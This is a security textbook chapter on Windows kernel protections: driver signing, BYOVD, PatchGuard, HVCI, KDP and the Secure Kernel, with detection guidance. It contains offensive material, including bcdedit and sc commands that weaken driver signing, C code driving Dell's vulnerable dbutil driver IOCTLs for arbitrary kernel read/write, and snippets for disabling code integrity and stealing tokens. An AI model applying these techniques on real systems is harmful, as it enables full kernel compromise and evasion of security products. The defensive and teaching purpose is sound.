Chapter 02

Chapter 2: Kernel Security

The Windows kernel represents the most privileged execution environment on a Windows system. Code running in kernel mode has unrestricted access to all hardware, memory, and system resources. This makes the kernel both the ultimate target for attackers seeking complete system control and the foundation upon which all other security measures are built. Understanding kernel security is essential whether you're defending systems, conducting security research, or performing authorized penetration testing.


The Kernel's Position in Windows Security

When any application runs on Windows, it operates in user mode—a restricted environment where direct hardware access is forbidden and memory is carefully partitioned. But the kernel operates without these restrictions. It manages memory allocation, schedules threads, handles interrupts, and mediates all access to hardware. Any code that achieves kernel execution can disable security software, hide malicious processes, intercept credentials, and persist indefinitely.

This immense power makes the kernel the crown jewel for sophisticated attackers. However, Microsoft has developed multiple overlapping defense mechanisms that protect kernel integrity. These defenses don't just guard the kernel code itself—they create a trust hierarchy that prevents unauthorized code from reaching kernel mode in the first place.

┌─────────────────────────────────────────────────────────────────────────┐
│                          KERNEL SECURITY LAYERS                          │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                          │
│  ┌────────────────────────────────────────────────────────────────────┐ │
│  │                        HVCI (VTL 1)                                 │ │
│  │  Hypervisor-enforced Code Integrity                                 │ │
│  │  - All kernel code must be signed                                   │ │
│  │  - No writable+executable memory                                    │ │
│  └────────────────────────────────────────────────────────────────────┘ │
│                                 │                                        │
│  ┌────────────────────────────────────────────────────────────────────┐ │
│  │                      PatchGuard (KPP)                               │ │
│  │  - Monitors critical kernel structures                              │ │
│  │  - BSOD on tampering detection                                      │ │
│  └────────────────────────────────────────────────────────────────────┘ │
│                                 │                                        │
│  ┌────────────────────────────────────────────────────────────────────┐ │
│  │                    Driver Signature Enforcement                     │ │
│  │  - All drivers must be signed                                       │ │
│  │  - WHQL or EV code signing certificate                              │ │
│  └────────────────────────────────────────────────────────────────────┘ │
│                                 │                                        │
│  ┌────────────────────────────────────────────────────────────────────┐ │
│  │                    Kernel Data Protection (KDP)                     │ │
│  │  - Protects read-only kernel memory                                 │ │
│  │  - VBS-backed memory protection                                     │ │
│  └────────────────────────────────────────────────────────────────────┘ │
│                                                                          │
└─────────────────────────────────────────────────────────────────────────┘

Driver Signature Enforcement (DSE)

Understanding DSE

The most common path into the kernel is through device drivers. Drivers are privileged code modules that extend kernel functionality—they handle hardware communication, implement file systems, provide networking capabilities, and much more. Because drivers execute with full kernel privileges, they represent a natural attack vector. Load a malicious driver, and you have complete system control.

Driver Signature Enforcement addresses this threat by requiring all kernel-mode drivers to be cryptographically signed by a trusted authority. When Windows attempts to load a driver, the code integrity subsystem (implemented in ci.dll) verifies the digital signature against a chain of trusted certificates. If the signature is invalid, expired, or from an untrusted issuer, the driver load fails.

This simple concept creates a powerful barrier. An attacker can no longer compile arbitrary kernel code and load it—they must first obtain a valid code signing certificate from a trusted Certificate Authority, a process that requires identity verification and leaves an audit trail.

Signing Requirements Have Evolved Over Time:

Windows Version Requirement
Windows Vista/7 Recommended (warning only)
Windows 8+ (64-bit) Mandatory
Windows 10 1607+ WHQL or EV + attestation signing

The strongest current requirement demands either Windows Hardware Quality Labs (WHQL) certification—meaning Microsoft tests and approves the driver—or submission through Microsoft's attestation signing service using an Extended Validation (EV) code signing certificate. EV certificates have stricter identity verification requirements than standard certificates.

Valid Signing Chains:
1. Microsoft WHQL (Windows Hardware Quality Labs)
   └─ Drivers submitted to Microsoft
   └─ Full compatibility testing

2. EV Code Signing + Attestation
   └─ Extended Validation certificate
   └─ Microsoft attestation signing service
   └─ Used by most third-party drivers

Attacking DSE

Despite DSE's effectiveness, attackers have developed several bypass techniques. Understanding these is crucial for both offensive testing and defensive monitoring.

Test Signing Mode

Windows includes a test signing mode intended for driver developers. When enabled, the system accepts drivers signed with test certificates—certificates that anyone can generate. While this mode displays a watermark on the desktop and requires administrative privileges plus a reboot to enable, it remains a viable vector if an attacker already has administrative access.

MITRE ATT&CK: T1553.006 - Subvert Trust Controls: Code Signing Policy Modification

# Enable test signing (requires admin + reboot)
bcdedit /set testsigning on

# Signs of test signing enabled:
# - Watermark on desktop bottom-right
# - Unsigned drivers can load

Debug Mode

Similarly, kernel debugging mode disables various security checks including some DSE validations. Enabling debug mode requires administrative privileges and a reboot, and it typically requires either a kernel debugger connection or at least configured debugging settings.

# Enable debugging (disables DSE checks)
bcdedit /debug on
bcdedit /bootdebug on

Direct Kernel Object Manipulation (DKOM)

If an attacker already has kernel code execution through another means (such as a vulnerable driver), they can directly modify the data structures that control DSE behavior. The key variable is g_CiOptions in ci.dll, which acts as a master switch for code integrity enforcement.

// Conceptual - patching ci.dll!g_CiOptions
// g_CiOptions is checked by CI!CiValidateImageHeader

// Original values:
// 0x0 = Enforcement disabled
// 0x6 = Normal enforcement
// 0x8 = UMCI only

// Kernel memory patch (requires kernel access):
*(PULONG)g_CiOptions_Address = 0x0;

Setting g_CiOptions to zero disables enforcement entirely, allowing any driver to load regardless of signature status. Of course, this technique requires an existing path to kernel code execution—a chicken-and-egg problem that BYOVD attacks (discussed next) elegantly solve.

Callback Removal

Security products register callbacks to be notified when drivers load, allowing them to inspect and potentially block malicious drivers. Attackers with kernel access can remove these callbacks from the kernel's notification arrays, blinding security software to subsequent driver loads.

// Removing image load notification callbacks
// PsSetLoadImageNotifyRoutineEx callbacks are stored in:
// nt!PspLoadImageNotifyRoutine array

// Attack removes callback entries
// Prevents EDR from seeing driver loads

Validating DSE Status

Defenders should regularly verify that DSE remains properly configured:

# Check DSE status
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
    Select-Object -Property CodeIntegrityPolicyEnforcementStatus

# Verify driver signing
Get-AuthenticodeSignature C:\Windows\System32\drivers\*.sys |
    Where-Object {$_.Status -ne "Valid"}

BYOVD: Bring Your Own Vulnerable Driver

The BYOVD Concept

BYOVD represents one of the most significant threats to kernel security today, and it elegantly circumvents DSE. The concept is simple but powerful: rather than creating and signing malicious driver code, attackers use legitimately signed drivers that contain exploitable vulnerabilities.

MITRE ATT&CK: T1068 - Exploitation for Privilege Escalation

Many hardware vendors have shipped drivers with dangerous capabilities—arbitrary memory read/write, direct MSR (Model-Specific Register) access, or physical memory mapping. These capabilities were often included for diagnostic purposes or hardware management utilities. The drivers are legitimate, signed by trusted vendors, and completely acceptable to DSE. But their vulnerabilities provide attackers with kernel-level primitives.

The attack flow is straightforward:

Attack Flow:
┌─────────────────────────────────────────────────────────────────────┐
│                          BYOVD ATTACK                                │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  1. Attacker obtains signed vulnerable driver                        │
│     (signed = trusted by Windows)                                    │
│                           │                                          │
│                           ▼                                          │
│  2. Load driver via SCM                                              │
│     sc create vuln binPath= C:\driver.sys type= kernel               │
│     sc start vuln                                                    │
│                           │                                          │
│                           ▼                                          │
│  3. Exploit vulnerability via IOCTL                                  │
│     - Arbitrary read/write                                           │
│     - MSR access                                                     │
│     - Physical memory access                                         │
│                           │                                          │
│                           ▼                                          │
│  4. Achieve kernel-level access                                      │
│     - Disable security controls                                      │
│     - Load unsigned drivers                                          │
│     - Modify kernel memory                                           │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

Once the vulnerable driver is loaded, the attacker communicates with it through IOCTL (Input/Output Control) calls—the standard interface for user-mode applications to request services from drivers. The vulnerability transforms these legitimate requests into arbitrary kernel operations.

Notable Vulnerable Drivers

The security community has documented numerous vulnerable drivers. This table represents just a fraction of known examples:

Driver Vendor Vulnerability Capability
dbutil_2_3.sys Dell CVE-2021-21551 Arbitrary R/W
RTCore64.sys MSI CVE-2019-16098 Arbitrary R/W
GDRV.sys Giga-byte - Physical memory R/W
ATSZIO.sys ASUS - Physical memory R/W
AsIO.sys ASUS - I/O port access
WinRing0.sys Various - MSR/Physical R/W
Capcom.sys Capcom - Execute arbitrary code

The Capcom driver is particularly notorious—it was designed to intentionally disable SMEP (Supervisor Mode Execution Prevention) and call user-mode code from kernel mode, essentially providing a built-in code execution primitive.

DBUtil Exploitation Example

Dell's DBUtil driver (CVE-2021-21551) exemplifies how BYOVD works in practice. This driver was distributed with Dell firmware update utilities and provided IOCTLs for direct physical memory access:

// Dell dbutil_2_3.sys exploitation
// CVE-2021-21551

#define IOCTL_READ_PHYSICAL  0x9B0C1EC4
#define IOCTL_WRITE_PHYSICAL 0x9B0C1EC8
#define IOCTL_READ_MSR       0x9B0C1F40
#define IOCTL_WRITE_MSR      0x9B0C1F44

typedef struct _DBUTIL_READ_WRITE {
    DWORD64 pad1;
    DWORD64 pad2;
    DWORD64 address;       // Target address
    DWORD64 pad3;
    DWORD64 value;         // Value to read/write
} DBUTIL_READ_WRITE;

// Arbitrary kernel read
BOOL ReadKernelMemory(HANDLE hDevice, DWORD64 address, PDWORD64 value) {
    DBUTIL_READ_WRITE request = {0};
    request.address = address;

    DeviceIoControl(hDevice,
        IOCTL_READ_PHYSICAL,
        &request, sizeof(request),
        &request, sizeof(request),
        NULL, NULL);

    *value = request.value;
    return TRUE;
}

// Arbitrary kernel write
BOOL WriteKernelMemory(HANDLE hDevice, DWORD64 address, DWORD64 value) {
    DBUTIL_READ_WRITE request = {0};
    request.address = address;
    request.value = value;

    DeviceIoControl(hDevice,
        IOCTL_WRITE_PHYSICAL,
        &request, sizeof(request),
        NULL, 0,
        NULL, NULL);

    return TRUE;
}

With arbitrary read/write primitives, an attacker can accomplish almost anything in kernel space. Common goals include:

Disabling DSE:

// Find ci.dll!g_CiOptions
// Modify to 0x0 to disable signature checks

DWORD64 g_CiOptions = FindCiOptions();
WriteKernelMemory(hDevice, g_CiOptions, 0);

Disabling PatchGuard:

// Modify KiErrata flags
// Or corrupt PatchGuard timer context

Patching ETW-TI:

// Find EtwTiLogReadWriteVm
// Patch to return immediately
// Disables kernel telemetry

Microsoft's Driver Block List

Microsoft has responded to the BYOVD threat by maintaining a block list of known vulnerable drivers. When a driver hash matches an entry in this list, Windows refuses to load it regardless of valid signatures.

Location:

C:\Windows\System32\CodeIntegrity\driversipolicy.p7b

However, the block list has limitations. It only covers drivers Microsoft has identified and added—a reactive rather than proactive defense. Attackers can potentially use drivers not yet on the block list, use older vulnerable driver versions, or load drivers before the block list policy is applied during boot.

# List blocked drivers (requires parsing policy)
Get-Content C:\Windows\System32\CodeIntegrity\driversipolicy.p7b

PatchGuard: Kernel Patch Protection

Understanding PatchGuard

PatchGuard (officially Kernel Patch Protection or KPP) addresses a different threat than DSE. While DSE prevents unauthorized code from loading, PatchGuard prevents modification of the kernel once it's running. This is crucial because even legitimate kernel code could be subverted if attackers could freely modify kernel data structures.

MITRE ATT&CK: T1014 - Rootkit

Before PatchGuard existed, rootkits commonly hooked kernel functions to hide their presence. They would modify the System Service Descriptor Table (SSDT) to intercept system calls, alter the Interrupt Descriptor Table (IDT) to handle exceptions maliciously, or modify process lists to hide malicious processes. PatchGuard makes these techniques far more difficult by monitoring critical structures for unauthorized changes.

Protected Structures:

Structure Purpose
SSDT (System Service Descriptor Table) Syscall dispatch table
IDT (Interrupt Descriptor Table) Interrupt handlers
GDT (Global Descriptor Table) Segment descriptors
MSRs (LSTAR, CSTAR) Syscall entry points
Kernel objects (EPROCESS, ETHREAD) Process/thread structures
ci.dll!g_CiOptions Code integrity settings
ntoskrnl.exe code sections Kernel code integrity

How PatchGuard Works

PatchGuard's implementation is deliberately obscured to make bypasses more difficult. However, its general operation is understood:

┌─────────────────────────────────────────────────────────────────────┐
│                      PATCHGUARD MECHANISM                            │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌─────────────────┐                                                │
│  │ Initialization  │  Random delay (1-10 minutes after boot)        │
│  └────────┬────────┘                                                │
│           │                                                          │
│           ▼                                                          │
│  ┌─────────────────┐                                                │
│  │ Context Creation│  Create encrypted verification context         │
│  │                 │  - Checksums of protected structures            │
│  │                 │  - Obfuscated timer mechanism                   │
│  └────────┬────────┘                                                │
│           │                                                          │
│           ▼                                                          │
│  ┌─────────────────┐                                                │
│  │ Periodic Checks │  Execute at random intervals                   │
│  │                 │  - Verify checksums                            │
│  │                 │  - Multiple redundant timers                    │
│  └────────┬────────┘                                                │
│           │                                                          │
│           ▼                                                          │
│  ┌─────────────────┐                                                │
│  │   Tamper Found? │                                                │
│  └────────┬────────┘                                                │
│           │                                                          │
│    ┌──────┴──────┐                                                  │
│    │             │                                                   │
│    ▼             ▼                                                   │
│  ┌───┐        ┌─────────────────┐                                   │
│  │ No│        │ Yes → BSOD      │  CRITICAL_STRUCTURE_CORRUPTION    │
│  └───┘        │ (Bug Check 0x109)│                                   │
│               └─────────────────┘                                   │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

The randomized timing is deliberate—it makes PatchGuard checks unpredictable. An attacker who patches a protected structure cannot simply wait for the next check and restore the original value, because they don't know when that check will occur. Multiple redundant timers ensure that disabling one check mechanism doesn't prevent detection.

When PatchGuard detects tampering, the system immediately blue screens with Bug Check 0x109 (CRITICAL_STRUCTURE_CORRUPTION). This is intentional—Microsoft prefers crashing the system to running with compromised kernel integrity.

PatchGuard Bypass Techniques

Security researchers have discovered various PatchGuard bypasses over the years, but Microsoft has patched most of them:

Technique Era Status
Exception Handler Abuse 2006 Patched
Debug Register Tricks 2007 Patched
Timer Object Corruption 2008 Patched
DPC Routine Abuse 2015 Mostly patched
Hypervisor-Level Bypass Current Still viable

The hypervisor-level bypass illustrates an important principle: PatchGuard runs in the normal Windows kernel (VTL 0), so an attacker who controls the hypervisor can present a "clean" view to PatchGuard while maintaining actual modifications. This split-brain approach is powerful but requires hypervisor-level access—a very high bar.

Data-Only Attacks:

A more practical approach avoids modifying code entirely. PatchGuard primarily protects code sections and specific critical data structures. Attackers can modify data that PatchGuard doesn't monitor:

// Instead of patching code, modify data structures
// PatchGuard primarily checks code sections

// Example: Token privilege manipulation
// Modify token privileges without code patches
PTOKEN token = GetCurrentToken();
token->Privileges.Present |= SE_DEBUG_PRIVILEGE;

These data-only attacks have become increasingly important as code integrity protections have strengthened.

PatchGuard Detection Indicators

When PatchGuard triggers, the resulting crash provides forensic information:

Bug Check 0x109 (CRITICAL_STRUCTURE_CORRUPTION):

Parameter 1: Reserved
Parameter 2: Reserved
Parameter 3: Reserved
Parameter 4: Type of corruption:
    0 = Generic structure corruption
    1 = Modified object type
    2 = Processor state change
    3 = Critical data structure

A system with frequent 0x109 crashes may indicate ongoing attack attempts—or a malfunctioning security product that incorrectly modifies kernel structures.


HVCI: Hypervisor-Enforced Code Integrity

Understanding HVCI

Hypervisor-Enforced Code Integrity (HVCI) represents Microsoft's strongest kernel protection mechanism. While DSE and PatchGuard run within the normal Windows kernel, HVCI uses the hypervisor to enforce code integrity—meaning even kernel-mode code cannot disable or circumvent it.

MITRE ATT&CK: Mitigates T1068, T1055, T1574

HVCI is part of Windows' Virtualization-Based Security (VBS) architecture. VBS uses the hypervisor to create isolated execution environments called Virtual Trust Levels (VTLs). VTL 0 is the normal Windows environment—user mode, kernel mode, everything you typically interact with. VTL 1 is the Secure World, running the Secure Kernel and isolated from VTL 0.

┌─────────────────────────────────────────────────────────────────────┐
│                          HVCI ENFORCEMENT                            │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  VTL 1 (Secure World)                                               │
│  ┌─────────────────────────────────────────────────────────────┐   │
│  │                    HVCI Policy Engine                        │   │
│  │  - Validates all code pages before execution                 │   │
│  │  - Enforces W^X (Write XOR Execute)                          │   │
│  │  - Monitors page table modifications                         │   │
│  └─────────────────────────────────────────────────────────────┘   │
│                              │                                       │
│                              │ Validates                             │
│                              ▼                                       │
│  VTL 0 (Normal World)                                               │
│  ┌─────────────────────────────────────────────────────────────┐   │
│  │                     Windows Kernel                           │   │
│  │  - Cannot modify code pages                                  │   │
│  │  - Cannot execute data pages                                 │   │
│  │  - Cannot disable HVCI                                       │   │
│  └─────────────────────────────────────────────────────────────┘   │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

HVCI enforces a critical security principle: W^X (Write XOR Execute). Memory can be either writable or executable, never both simultaneously. This prevents classic code injection attacks where an attacker writes malicious code to memory and then executes it. Even if an attacker has kernel-mode code execution, they cannot create new executable code without the Secure Kernel's validation.

HVCI Restrictions

HVCI fundamentally changes what's possible in kernel mode:

Action HVCI Enabled
Map RWX memory Blocked
Modify kernel code Blocked
Load unsigned drivers Blocked
Modify page tables directly Blocked
Create kernel mode threads Restricted

HVCI Bypass Considerations

HVCI is a significant obstacle, but it's not impenetrable. The key insight is that HVCI protects code, not data. Attackers have pivoted toward data-only attacks:

// HVCI doesn't protect data sections
// Can still modify:
// - Kernel data structures
// - Function pointers in data
// - Callback arrays
// - Object attributes

// Example: Callback table manipulation
PVOID* NotifyRoutine = FindNotifyRoutine();
NotifyRoutine[0] = NULL;  // Remove callback

For BYOVD attacks specifically, the challenge is finding vulnerabilities that provide useful primitives without requiring arbitrary code execution. Read/write primitives remain valuable because they enable data-only attacks—modifying tokens, removing callbacks, or manipulating other unprotected data structures.

Checking HVCI Status

Defenders should verify HVCI is enabled and running:

# Check HVCI status
$DeviceGuard = Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

# VirtualizationBasedSecurityStatus
# 0 = Not enabled
# 1 = Enabled but not running
# 2 = Running

$DeviceGuard.VirtualizationBasedSecurityStatus

# SecurityServicesRunning
# 1 = Credential Guard
# 2 = HVCI

$DeviceGuard.SecurityServicesRunning

Kernel Data Protection (KDP)

Understanding KDP

While HVCI protects code integrity, Kernel Data Protection (KDP) extends VBS protection to specific data regions. KDP allows drivers to mark certain data as read-only, enforced by the hypervisor. Once protected, this data cannot be modified even by kernel-mode code.

// Example of KDP-protected data
#pragma data_seg(".data$KDP")
ULONG g_ProtectedVariable = 0;
#pragma data_seg()

// Once initialized, cannot be modified even by kernel

KDP Enforcement

┌─────────────────────────────────────────────────────────────────────┐
│                         KDP ENFORCEMENT                              │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  1. Driver marks data for protection                                 │
│     VslProtectSecureSections()                                       │
│                                 │                                    │
│                                 ▼                                    │
│  2. Secure Kernel (VTL 1) marks pages read-only                     │
│     Second Level Address Translation (SLAT)                          │
│                                 │                                    │
│                                 ▼                                    │
│  3. Any write attempt causes EPT violation                          │
│     Hypervisor intercepts and crashes system                         │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

KDP uses Second Level Address Translation (SLAT)—the same hardware virtualization feature that enables VBS—to make protected pages truly immutable. The hypervisor intercepts any attempted write to KDP-protected memory, causing a system crash rather than allowing the modification.

KDP Limitations

KDP provides strong protection for the data it covers, but several limitations exist:

The selective nature of KDP means attackers can still modify data structures that aren't explicitly protected. As more critical structures receive KDP protection in future Windows versions, the attack surface will continue to shrink.


The Secure Kernel

Secure Kernel Overview

The Secure Kernel (securekernel.exe) runs in VTL 1 and serves as the enforcement engine for all VBS protections. It's a separate kernel—smaller and more focused than the main Windows kernel—dedicated to security functions:

The Secure Kernel's isolation means that even full compromise of the normal Windows kernel (VTL 0) doesn't immediately compromise VTL 1. Attackers would need to escape VTL 0 entirely—finding vulnerabilities in the hypervisor or Secure Kernel itself.

Secure Kernel Attack Surface

Attack Vectors:
┌─────────────────────────────────────────────────────────────────────┐
│                                                                      │
│  1. Hypervisor Vulnerabilities                                       │
│     - CVE-2021-28476 (Hyper-V RCE)                                  │
│     - Escape VTL 0 → VTL 1                                          │
│                                                                      │
│  2. Secure Kernel Vulnerabilities                                    │
│     - Memory corruption in securekernel.exe                          │
│     - Very rare, highly privileged                                   │
│                                                                      │
│  3. Design Flaws                                                     │
│     - VTL 0/1 interface attacks                                      │
│     - Secure call vulnerabilities                                    │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

These attacks represent the highest difficulty tier—they require discovering and exploiting vulnerabilities in some of the most scrutinized and hardened code Microsoft produces. Successfully attacking VTL 1 is possible but rare enough to be newsworthy when it occurs.


Kernel Exploitation Primitives

Understanding Exploit Primitives

When security researchers analyze kernel vulnerabilities, they think in terms of primitives—the fundamental capabilities a vulnerability provides. Different primitives have different values for building exploitation chains:

Primitive Description Difficulty
Arbitrary Read Read any kernel memory Medium
Arbitrary Write Write any kernel memory Medium
Type Confusion Misinterpret object type Hard
Use-After-Free Access freed memory Hard
Integer Overflow Bypass size checks Medium

A single vulnerability rarely provides complete system compromise. Instead, attackers chain primitives together—using an information leak to defeat KASLR (Kernel Address Space Layout Randomization), then leveraging that knowledge for a targeted write primitive, finally escalating privileges through token manipulation.

Exploit Chain Development

┌─────────────────────────────────────────────────────────────────────┐
│                    KERNEL EXPLOIT CHAIN                              │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  Initial Vulnerability                                               │
│  (Buffer overflow, type confusion, etc.)                             │
│                    │                                                 │
│                    ▼                                                 │
│  ┌────────────────────────────────┐                                 │
│  │     Info Leak Primitive        │  (KASLR bypass)                 │
│  └────────────────────────────────┘                                 │
│                    │                                                 │
│                    ▼                                                 │
│  ┌────────────────────────────────┐                                 │
│  │   Arbitrary Read/Write         │                                 │
│  └────────────────────────────────┘                                 │
│                    │                                                 │
│                    ▼                                                 │
│  ┌────────────────────────────────┐                                 │
│  │   Token Privilege Escalation   │                                 │
│  │   OR                           │                                 │
│  │   Disable Security Controls    │                                 │
│  └────────────────────────────────┘                                 │
│                    │                                                 │
│                    ▼                                                 │
│  ┌────────────────────────────────┐                                 │
│  │      SYSTEM Access             │                                 │
│  └────────────────────────────────┘                                 │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

Token Manipulation

The classic privilege escalation technique in Windows kernel exploitation is token stealing. Every process has a security token that defines its privileges, group memberships, and access rights. The SYSTEM process always has the most privileged token. With arbitrary read/write capability, an attacker can copy the SYSTEM token to their own process:

// Classic token stealing (simplified)

// 1. Find SYSTEM process token
PEPROCESS SystemProcess = PsInitialSystemProcess;
PACCESS_TOKEN SystemToken = PsReferencePrimaryToken(SystemProcess);

// 2. Replace current process token
PEPROCESS CurrentProcess = PsGetCurrentProcess();

// Token offset in EPROCESS (varies by Windows version)
// Windows 10 22H2: 0x4b8
PTOKEN* CurrentTokenPtr = (PTOKEN*)((PUCHAR)CurrentProcess + TOKEN_OFFSET);
*CurrentTokenPtr = SystemToken;

// 3. Current process now has SYSTEM privileges

This data-only attack doesn't modify any code—it only changes data structures—making it effective even with HVCI enabled. PatchGuard doesn't specifically monitor every process token, so the modification goes undetected. This is why token manipulation remains a cornerstone of Windows kernel exploitation.


Detection and Monitoring

Driver Load Monitoring

Detecting kernel attacks starts with monitoring driver loads. Every legitimate and malicious driver must be loaded, making this a valuable chokepoint:

Event ID 7045 (Service Installation):

Log: System
Source: Service Control Manager
Event ID: 7045

Watch for:
- Unusual service names
- Driver paths outside System32\drivers
- Services with kernel type

Sysmon Event ID 6 (Driver Load):

<RuleGroup groupRelation="or">
    <DriverLoad onmatch="include">
        <Signed condition="is">false</Signed>
    </DriverLoad>
</RuleGroup>

Sysmon provides more detailed driver load telemetry than native Windows logging, including signature status and hash information.

Kernel Integrity Monitoring

Regular integrity verification can detect compromised drivers or modified system files:

# Check for unsigned drivers
Get-WmiObject Win32_SystemDriver |
    ForEach-Object {
        $sig = Get-AuthenticodeSignature $_.PathName
        if ($sig.Status -ne "Valid") {
            Write-Output "$($_.Name): $($sig.Status)"
        }
    }

# Monitor ci.dll integrity
$ci_hash = Get-FileHash C:\Windows\System32\ci.dll -Algorithm SHA256
# Compare against known good baseline

VBS/HVCI Monitoring

Organizations should monitor VBS status to detect if protections have been disabled:

# Monitor VBS status
$DG = Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

# Alert if VBS is disabled
if ($DG.VirtualizationBasedSecurityStatus -ne 2) {
    Write-Warning "VBS is not running!"
}

# Alert if HVCI is disabled
if (2 -notin $DG.SecurityServicesRunning) {
    Write-Warning "HVCI is not running!"
}

VBS being disabled unexpectedly could indicate an attack or misconfiguration—either warrants investigation.


Summary

Windows kernel security relies on multiple overlapping defenses, each addressing different aspects of the threat landscape:

Protection Bypass Method Detection Status
DSE BYOVD, Test Signing Event 7045, Sysmon 6 ⚠️ Bypassed via BYOVD
PatchGuard Data-only attacks BSOD 0x109 ✅ Effective for code
HVCI Data-only attacks VBS status ✅ Strong
KDP Non-KDP data Requires VBS ✅ Strong
Driver Block List Unlisted drivers Hash matching ⚠️ Incomplete coverage

The key takeaway is that modern kernel security has shifted attackers toward data-only attacks and BYOVD techniques. Code integrity is now well-protected on properly configured systems, but data manipulation remains viable. Defenders must enable VBS/HVCI, maintain driver block lists, and monitor for suspicious driver loads.

For organizations, the priority should be enabling HVCI on all compatible systems. This single control dramatically reduces the kernel attack surface by preventing arbitrary code execution entirely. Combined with proper monitoring and driver load alerting, organizations can detect and respond to kernel-level attacks before they achieve their objectives.


References

← Back to Wiki